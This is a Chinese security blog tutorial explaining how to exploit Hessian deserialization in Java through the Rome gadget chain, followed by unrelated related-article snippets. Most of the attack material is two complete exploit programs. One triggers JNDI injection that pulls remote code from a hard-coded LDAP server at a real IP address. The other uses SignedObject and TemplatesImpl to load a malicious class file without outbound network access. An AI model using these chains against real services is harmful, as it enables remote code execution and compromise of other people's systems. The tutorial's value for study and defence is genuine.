【Web】浅聊Hessian反序列化之打Rome出网不出网

目录

前言

出网——JdbcRowSetImpl

不出网——SignedObject 打二次反序列化


前文:【Web】浅聊Java反序列化之玩转Hessian反序列化的前置知识

前言

正如我们前文所说,当Hessian反序列化Map类型的对象的时候,会自动调用其put方法,而put方法又会牵引出各种相关利用链打法。map.put对于HashMap会触发key.hashCode()。

利用到hashCode的链子有很多,如CC6和Rome相关链,但很遗憾的是CC6因为一些原因无法使用,后面会出一篇文章专门讲其原因。本文主要讲一下Rome出网和不出网的两种利用方式。

出网——JdbcRowSetImpl

只需要找一条入口为hashcode()的反序列化链即可,比如我们常用的ROME链

简单回顾下,Rome 的链核心是 ToStringBean,这个类的 toString 方法会调用他封装类的全部无参 getter 方法,可以借助 JdbcRowSetImpl#getDatabaseMetaData() 方法触发 JNDI 注入。

而Rome链的触发点是EqualsBean#hashCode,这就完美贴合了我们的需求

(参考文章:【Web】浅聊Java反序列化之Rome——关于其他利用链)

EXP

package com.Hessian;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;

public class Hessian_Rome implements Serializable {


    public static void main(String[] args) throws Exception {
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        String url = "ldap://124.222.136.33:1337/#suibian";
        jdbcRowSet.setDataSourceName(url);


        ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

        //手动生成HashMap,防止提前调用hashcode()
        HashMap hashMap = makeMap(equalsBean,"1");

        byte[] s = serialize(hashMap);
        deserialize(s);
    }

    public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        setValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setValue(s, "table", tbl);
        return s;
    }

    public static <T> byte[] serialize(T o) throws IOException {
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        HessianOutput output = new HessianOutput(bao);
        output.writeObject(o);
        System.out.println(bao.toString());
        return bao.toByteArray();
    }

    public static <T> T deserialize(byte[] bytes) throws IOException {
        ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
        HessianInput input = new HessianInput(bai);
        Object o = input.readObject();
        return (T) o;
    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

不出网——SignedObject 打二次反序列化

因为种种限制,TemplatesImpl不能依靠Hessian反序列化任意加载类(后面的文章会专门写,这里按下不表),面对不出网的情况,一个常见替代的方式是使用 java.security.SignedObject 进行二次反序列化

SignedObject,顾名思义,推测其主要用途是对某个对象进行数字签名,以确保数据的完整性和真实性。通过将对象使用私钥进行数字签名,接收方可以使用对应的公钥来验证该对象的签名是否有效,从而确保数据在传输或存储过程中没有被篡改。

关于SignedObject,先看其构造方法

public SignedObject(Serializable object, PrivateKey signingKey,
                        Signature signingEngine)
        throws IOException, InvalidKeyException, SignatureException {
            // creating a stream pipe-line, from a to b
            ByteArrayOutputStream b = new ByteArrayOutputStream();
            ObjectOutput a = new ObjectOutputStream(b);

            // write and flush the object content to byte array
            a.writeObject(object);
            a.flush();
            a.close();
            this.content = b.toByteArray();
            b.close();

            // now sign the encapsulated object
            this.sign(signingKey, signingEngine);
    }

总的来说,这段代码实现了将待签名的对象转换为字节数组,并使用指定的私钥和签名引擎对该字节数组进行签名的过程。这样就创建了一个带有数字签名的 SignedObject 对象,可以用于确保对象的完整性和真实性。 

下面的EXP中给了这样一段构造,我们顺带看一下

        KeyPairGenerator keyPairGenerator;
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");

        SignedObject signedObject = new SignedObject(map,privateKey,signingEngine);

给到一点简单解读:

  • 首先通过 KeyPairGenerator 类生成用于数字签名的密钥对,这里使用的是 DSA(Digital Signature Algorithm)算法,并将密钥长度设置为 1024 比特。
  • 接着生成密钥对,其中包括一个私钥和一个公钥,用于数字签名和验证。
  • 使用 Signature 类实例化一个用于数字签名的引擎,同样选择了 DSA 算法。
  • 最后,创建了一个 SignedObject 对象,该对象包含了要被签名的 map 对象、私钥和数字签名引擎。通过这一步,map 对象被使用私钥进行数字签名,生成一个带有签名信息的 SignedObject

OK点到为止,我们接下来看打二次反序列化的核心:SignedObject#getObject

public Object getObject()
        throws IOException, ClassNotFoundException
    {
        // creating a stream pipe-line, from b to a
        ByteArrayInputStream b = new ByteArrayInputStream(this.content);
        ObjectInput a = new ObjectInputStream(b);
        Object obj = a.readObject();
        b.close();
        a.close();
        return obj;
    }

注意到getObject为一个无参getter,且该方法会从流里使用原生反序列化读取数据,这就造成了二次反序列化,从一个原生的readObject入口开始打链

注意,二次反序列化是原生反序列化,可以打TemplatesImpl,下面给出示例

EXP

package com.Hessian;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.HashMap;

public class Hessian_SignedObject {

    public static void main(String[] args) throws Exception {

        byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\21135\\Desktop\\RuoYi-v4.7.1\\Rome\\target\\classes\\com\\rome\\Evil.class"));

        TemplatesImpl obj = new TemplatesImpl();
        setValue(obj, "_bytecodes", new byte[][] {code});
        setValue(obj, "_name", "xxx");
        setValue(obj, "_tfactory", new TransformerFactoryImpl());
        ToStringBean bean = new ToStringBean(Templates.class, obj);
        ToStringBean fakebean= new ToStringBean(String.class, obj);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, fakebean);
        HashMap map = new HashMap();
        map.put(equalsBean, 1);  // 注意put的时候也会执行hash
        setValue(equalsBean, "_obj", bean);

        //此处写法较为固定,用于初始化SignedObject类
        KeyPairGenerator keyPairGenerator;
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");

        SignedObject signedObject = new SignedObject(map,privateKey,signingEngine);

        ToStringBean toStringBean1 = new ToStringBean(SignedObject.class, signedObject);

        EqualsBean equalsBean2 = new EqualsBean(ToStringBean.class,toStringBean1);

        HashMap hashMap = makeMap(equalsBean2, "xxx");

        byte[] payload = Hessian2_Serial(hashMap);
        Hessian2_Deserial(payload);
    }

    public static byte[] Hessian2_Serial(Object o) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(baos);
        hessian2Output.writeObject(o);
        hessian2Output.flushBuffer();
        return baos.toByteArray();
    }

    public static Object Hessian2_Deserial(byte[] bytes) throws IOException {
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
        Hessian2Input hessian2Input = new Hessian2Input(bais);
        Object o = hessian2Input.readObject();
        return o;
    }

    public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        setValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setValue(s, "table", tbl);
        return s;
    }

    public static void setValue(Object obj, String fieldName, Object newValue) throws Exception {
        Class clazz = obj.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, newValue);
    }
}

http://www.niftyadmin.cn/n/5423406.html

相关文章

Python 导入Excel三维坐标数据 生成三维曲面地形图(面) 4-4、线条平滑曲面(修改颜色)去除无效点

环境和包: 环境 python:python-3.12.0-amd64包: matplotlib 3.8.2 pandas 2.1.4 openpyxl 3.1.2 scipy 1.12.0 代码: import pandas as pd import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import Axes3D from scipy.interpolate import griddata fro…

使用Lerna + Yarn Workspace管理Monorepo项目

1.前言 通常&#xff0c;我们会根据自身业务的实际情况&#xff0c;将通用的组件、逻辑等提取成NPM包&#xff0c;方便以后复用。但这些提取出来的NPM包可能互相之间存在依赖&#xff0c;如果仍然采用 Multirepo 的形式进行管理&#xff0c;则在包的版本管理、依赖管理、调试等…

替换模板变量生成测试用例

需求&#xff1a; 针对指标的查值有固定的文法例如 ${org_name}的业务量是多少&#xff0c;需要替换变量来生成测试用例 这个是最新的&#xff0c;把变量和列表放到map里面 package net.yto.com.testplatform;import com.alibaba.fastjson.JSON;import java.util.ArrayList; i…

基于AI软件平台 HEGERLS智能托盘四向车机器人物流仓储解决方案持续升级

随着各大中小型企业对仓储需求的日趋复杂&#xff0c;柔性、离散的物流子系统也不断涌现&#xff0c;各种多类型的智能移动机器人、自动化仓储装备大量陆续的应用于物流行业中&#xff0c;但仅仅依靠传统的物流技术和单点的智能化设备&#xff0c;已经无法更有效的应对这些挑战…

Window部署AgileConfig

AgileConfig&#xff1a;分布式配置中心 github&#xff1a;GitHub - dotnetcore/AgileConfig: 基于.NET Core开发的轻量级分布式配置中心 / .NET Core lightweight configuration server 下载部署包&#xff1a;Releases dotnetcore/AgileConfig GitHub 版本&#xff1a;…

《C++游戏编程入门》第2章 真值、分支与游戏循环: Guess My Number

《C游戏编程入门》第2章 真值、分支与游戏循环: Guess My Number 2.1 关系运算符2.2 条件语句02.score_rater.cpp02.score_rater2.cpp02.score_rater3.cpp 2.5 switch语句02.menu_chooser.cpp 2.6 while循环02.play_again.cpp 2.7 do循环02.play_again2.cpp 2.8 break和continu…

LSUN数据集、FFHQ数据集 迅雷网盘、百度网盘分享(所有子集)

一、LSUN数据集 LSUN数据集是一个大规模图像数据集&#xff0c;出自论文《LSUN: Construction of a Large-scale Image Dataset using Deep Learning with Humans in the Loop》。这个数据集基于人类在循环中进行深度学习的构建&#xff0c;包含10个场景类别和20个对象类别&…

Python练习题,判断字符串中字符是否重复,或者说是否唯一

在Python中&#xff0c;判断一个字符串的字符是否唯一&#xff0c;可以写个函数&#xff0c;接受一个字符串作为参数&#xff0c;并返回一个布尔值&#xff0c;表示字符串中的字符是否都是唯一的。还需要考虑一些边界情况&#xff0c;比如传入的字符串为None或者空字符串。 首…